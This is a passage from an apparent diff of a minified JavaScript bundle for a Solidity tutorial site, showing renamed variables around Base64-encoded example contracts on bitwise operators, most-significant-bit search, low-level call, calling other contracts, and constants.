gKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],uy=`
                  // SPDX-License-Identifier: MIT
+
                  `,hy=({prev:s,next:a})=>r.jsx(A,{version:ty,title:oy,description:ry,html:gy,prev:s,next:a,codes:iy}),Iy="0.8.24",dy="Bitwise Operators",Cy="Learn about bitwise operators in Solidity",jy=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],Ay=`
                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 contract BitwiseOps {
@@ -3965,7 +3965,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,yy=({prev:s,next:a})=>r.jsx(A,{version:dy,title:Cy,description:jy,html:uy,prev:s,next:a,codes:Ay}),my="0.8.24",by="Call",wy="In Solidity call is a low level function to interact with other contracts",ky=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],Zy=`

                  call is a low level function to interact with other contracts.

                  +`,uy=({prev:s,next:a})=>r.jsx(A,{version:Iy,title:dy,description:Cy,html:Ay,prev:s,next:a,codes:jy}),yy="0.8.24",my="Call",by="In Solidity call is a low level function to interact with other contracts",wy=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],ky=`

                  call is a low level function to interact with other contracts.

                  This is the recommended method to use when you're just sending Ether via calling the fallback function.

                  However it is not the recommend way to call existing functions.

                  Few reasons why low-level call is not recommended

                  @@ -4019,7 +4019,7 @@ Each slot in the array can store 32 bytes.

                  emit Response(success, data); } } -`,Wy=({prev:s,next:a})=>r.jsx(A,{version:my,title:by,description:wy,html:Zy,prev:s,next:a,codes:ky}),By="0.8.24",Gy="Calling Other Contract",Vy="In Solidity, contract can call other contracts in several ways",fy=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],Yy=`

                  Contract can call other contracts in 2 ways.

                  +`,Zy=({prev:s,next:a})=>r.jsx(A,{version:yy,title:my,description:by,html:ky,prev:s,next:a,codes:wy}),Wy="0.8.24",By="Calling Other Contract",Gy="In Solidity, contract can call other contracts in several ways",Vy=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],fy=`

                  Contract can call other contracts in 2 ways.

                  The easiest way to is to just call it, like A.foo(x, y, z).

                  Another way to call other contracts is to use the low-level call.

                  This method is not recommended.

                  @@ -4062,7 +4062,7 @@ Each slot in the array can store 32 bytes.

                  _callee.setXandSendEther{value: msg.value}(_x); } } -`,Xy=({prev:s,next:a})=>r.jsx(A,{version:By,title:Gy,description:Vy,html:Yy,prev:s,next:a,codes:fy}),Ry="0.8.24",vy="Constants",Ny="Constant variables",Hy=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],Fy=`

                  Constants are variables that cannot be modified.

                  +`,Yy=({prev:s,next:a})=>r.jsx(A,{version:Wy,title:By,description:Gy,html:fy,prev:s,next:a,codes:Vy}),Xy="0.8.24",vy="Constants",Ry="Constant variables",Ny=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],Hy=`

                  Constants are variables that cannot be modified.

                  Their value is hard coded and using constants can save gas cost.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4073,7 +4073,7 @@ Each slot in the array can store 32 bytes.
